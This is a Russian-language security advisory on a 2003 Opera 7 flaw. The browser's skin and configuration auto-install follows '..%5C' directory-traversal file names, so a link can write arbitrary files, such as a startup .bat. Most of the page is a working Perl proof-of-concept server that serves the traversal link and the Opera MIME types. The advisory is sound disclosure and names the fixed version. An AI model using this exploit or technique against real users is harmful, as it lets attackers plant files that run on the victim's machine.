Дата публикации: | 24.11.2003 |
Дата изменения: | 16.10.2006 |
Всего просмотров: | 2828 |
Опасность: | Критическая |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: Opera prior to 7.23; Tested on 7.22 build 3221, 7.21 build 3218, 7.20 build 3144, Opera 7.11 build 2887, Opera 7.11 build 2880, Opera 7.10 build 2840, Opera 7.03 build 2670, Opera 7.02 build 2668, and Opera 7.01 build 2651
Описание: Уязвимость обнаружена в web браузера Opera в функции auto-install для Skin Files и Configuration Files. Удаленный пользователь может записать произвольные файлы в произвольное местоположение на целевой системе. Удаленный пользователь может сконструировать специально сфомированный URL, который, когда будет загружен в браузере целевого пользователя, запишет произвольный файл в произвольное местоположение не целевой системе пользователя. Уязвимость может эксплуатироваться через следующие MIME типы: application/x-opera-skin application/x-opera-configuration-skin application/x-opera-configuration-mouse application/x- opera-configuration-keyboard application/x-opera-configuration-toolbar application/x-opera-configuration-menuФайлы, определенные этими MIME типами, изначально устанавливаются в User-Directory или Installed-Directory. Однако, удаленный пользователь может определить имя файла и использовать символы обхода каталога '..%5C', чтобы изменить имя и местоположение устанавливаемого файла. Например, удаленный пользователь может записать произвольный файл в каталог автозагрузки. Пример/Эксплоит: #!/usr/bin/perl ##################################################################### # # Sample code of # "[Opera 7] Arbitrary File Auto-Saved Vulnerability." # # This perl script is a small HTTP server for a check of # the vulnerability. # BTW, you can exploit this vulnerability without a server like this # if your apache or etc., allow a request URL that contains '..'. # # Tested on : # Opera 7.22 # Opera 7.21 # Opera 7.20 # Opera 7.1X # Opera 7.0X # # with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP. # (maybe need Perl 5.6 or later) # # Usage : # [0] Execute "perl this_script 10080" on a console, # this server starts to listen in port 10080. # [1] Opera opens "http://127.0.0.1:10080/". # [2] Click link. # [3] Auto-saved an arbitrary file on a root directory # of Local Disk ... # # 2003/11/15 # written by nesumin <nesumin[at]softhome[dot]net> # ##################################################################### use HTTP::Daemon; use HTTP::Status; use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat'; use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~; use constant RES_HEADERS => qw(Pragma no-cache Connection close); use constant REUSE => 1; use constant VIEW_DATA => 0; my @MIMETYPES = qw( application/x-opera-configuration-keyboard application/x-opera-configuration-menu application/x-opera-configuration-mouse application/x-opera-configuration-toolbar application/x-opera-configuration-skin application/x-opera-skin ); my $port = ($ARGV[0] || 10080) + 0; die("port is not correct") unless (0 < $port && $port < 65536); my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE) or die("HTTP::Daemon->new() error : $!.\n"); select(STDERR); printf("[*] server started on %d.\n", $daemon->sockport()); while (my $ccon = $daemon->accept()) { printf("[*] incoming client : from %s:%d(%08X).\n", inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon); if (my $req = $ccon->get_request()) { print("\n[*] request received...\n", map{" >> $_\n"} ($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA); if ($req->method eq 'GET') { my $url = URL; my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS)); $res->protocol("HTTP/1.0"); if ($req->url->path eq '/') { $res->header('Content-type'=>'text/html'); $res->content(qq~<a href="$url">Click here</a>~); } else { my $mimetype = $MIMETYPES[rand(@MIMETYPES)]; if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){ # Opera 7.0x if ($2 eq "7.0") { $url .= '*.zip';# '*' is a special char :-) $mimetype = $MIMETYPES[$#MIMETYPES]; # Opera 7.22 } elsif ($1 eq "7.22") { $mimetype = $MIMETYPES[rand(@MIMETYPES-2)]; } } $res->header('Content-type'=>$mimetype); $res->content(FILE_CONTENT); } $ccon->send_response($res); print("\n[*] response sent...\n", map{" >> $_\n"} ($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA); } else { $ccon->send_error(RC_METHOD_NOT_ALLOWED); } } printf("[*] client closed : from %s:%d (%08X).\n", inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon); $ccon->close(); undef($ccon); } print("[*] server closed.\n"); $daemon->close(); undef($daemon); URL производителя:http://www.opera.com Решение: Установите обновленную версию браузера (7.2). |
|
Ссылки: | [Opera 7] Arbitrary File Auto-Saved Vulnerability. |